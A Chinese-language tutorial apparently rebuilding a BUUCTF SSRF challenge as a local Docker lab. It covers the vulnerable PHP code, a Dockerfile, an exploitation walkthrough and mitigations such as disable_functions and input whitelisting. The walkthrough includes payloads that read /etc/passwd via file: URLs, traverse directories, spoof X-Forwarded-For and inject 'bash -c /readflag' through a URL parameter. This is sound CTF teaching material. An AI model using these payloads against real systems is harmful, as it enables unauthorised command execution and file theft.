从零构建SSRF漏洞实战环境:Docker化BUUCTF靶场深度解析

第一次接触SSRF漏洞时,我盯着那道BUUCTF题目整整两小时毫无头绪——直到在本地用Docker完整复现出漏洞环境,所有细节突然变得清晰可见。本文将带你用容器技术搭建一个可反复爆破的SSRF实验场,真正理解从IP伪造到命令执行的完整攻击链。

1. 环境构建:从源码到可调试的Docker容器

1.1 解析原始漏洞代码

先看这个典型SSRF漏洞的PHP核心逻辑:

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
// ...文件写入操作...

关键点在于:

  • 通过$_SERVER['REMOTE_ADDR']控制沙盒目录名
  • 使用GET命令处理用户输入的URL参数
  • 未过滤的文件写入操作

1.2 编写Dockerfile构建漏洞环境

新建Dockerfile文件:

FROM php:7.4-apache
RUN apt-get update && apt-get install -y libwww-perl \
    && rm -rf /var/lib/apt/lists/*
COPY src/ /var/www/html/
RUN chown -R www-data:www-data /var/www/html \
    && mkdir /var/www/html/sandbox \
    && chmod 777 /var/www/html/sandbox

这里特别注意:

  1. 必须安装libwww-perl包提供GET命令
  2. 沙盒目录需要写权限
  3. PHP版本需与原始环境一致

构建命令:

docker build -t ssrf-lab .
docker run -d -p 8080:80 --name ssrf-test ssrf-lab

2. 漏洞利用全流程拆解

2.1 IP伪造与目录穿越

启动容器后访问http://localhost:8080/?url=./../../&filename=test,观察响应:

操作预期结果实际现象
首次访问创建沙盒目录返回当前IP的MD5值
添加X-Forwarded-For头修改REMOTE_ADDR值沙盒目录名变化
多层目录穿越读取系统文件返回目录列表

关键技巧:使用Burp Suite的Repeater模块反复修改X-Forwarded-For头,观察服务端响应变化

2.2 GET命令的妙用

GET命令的特殊行为是漏洞利用的关键:

# 测试GET命令基础功能
GET http://example.com  # 获取网页内容
GET file:/etc/passwd    # 读取本地文件

在漏洞利用中,通过构造特殊URL实现命令注入:

?url=file:bash -c /readflag|&filename=result

这个payload的巧妙之处在于:

  1. file:协议触发本地文件读取
  2. 管道符|绕过参数过滤
  3. 最终执行结果写入指定文件

2.3 完整攻击链演示

分步操作流程:

  1. 确定沙盒位置

    GET / HTTP/1.1
    Host: localhost:8080
    X-Forwarded-For: 1.1.1.1
    

    记录返回的MD5值(如c4ca4238a0b923820dcc509a6f75849b

  2. 目录穿越探测

    GET /?url=./../../../../../&filename=dirlist HTTP/1.1
    Host: localhost:8080
    
  3. 执行系统命令

    GET /?url=file:bash -c /readflag|&filename=flagresult HTTP/1.1
    Host: localhost:8080
    
  4. 查看结果 访问:

    http://localhost:8080/sandbox/c4ca4238a0b923820dcc509a6f75849b/flagresult
    

3. 调试技巧与排错指南

3.1 常见问题解决方案

问题现象原因分析解决方案
GET命令未找到未安装libwww-perlapt-get install libwww-perl
文件写入失败目录权限不足chmod 777 sandbox
命令执行无效管道符缺失在payload末尾添加`

3.2 高级调试方法

  1. 进入容器内部观察

    docker exec -it ssrf-test bash
    tail -f /var/log/apache2/error.log
    
  2. 实时监控文件操作

    watch -n 1 'ls -lR /var/www/html/sandbox'
    
  3. 使用tcpdump抓包分析

    docker exec ssrf-test tcpdump -i eth0 -w /tmp/dump.pcap
    

4. 漏洞防御与安全编码实践

4.1 修复方案对比

防护措施实现方式优点缺点
禁用危险函数disable_functions=shell_exec彻底阻断影响正常功能
输入白名单校验URL参数格式灵活可控实现复杂
使用安全库Guzzle等HTTP客户端功能完善需要重构代码

4.2 安全编码建议

  1. 永远不要信任用户输入

    // 错误示范
    $data = shell_exec($_GET['cmd']);
    
    // 正确做法
    $allowed = ['ls', 'date'];
    if(in_array($_GET['cmd'], $allowed)) {
        $data = shell_exec(escapeshellcmd($_GET['cmd']));
    }
    
  2. 文件操作安全规范

    • 使用绝对路径而非相对路径
    • 设置open_basedir限制访问范围
    • 文件权限遵循最小化原则
  3. 日志记录关键操作

    file_put_contents(
        '/var/log/ssrf.log',
        date('[Y-m-d H:i:s]').' '.$_SERVER['REMOTE_ADDR'].' '.$_GET['url']."\n",
        FILE_APPEND
    );
    

在Docker环境中反复测试这些防护措施的效果,比如尝试在启用open_basedir后再次利用漏洞,观察系统行为的变化。这种亲手实践的经历,比任何理论讲解都更能加深对漏洞本质的理解。

更多推荐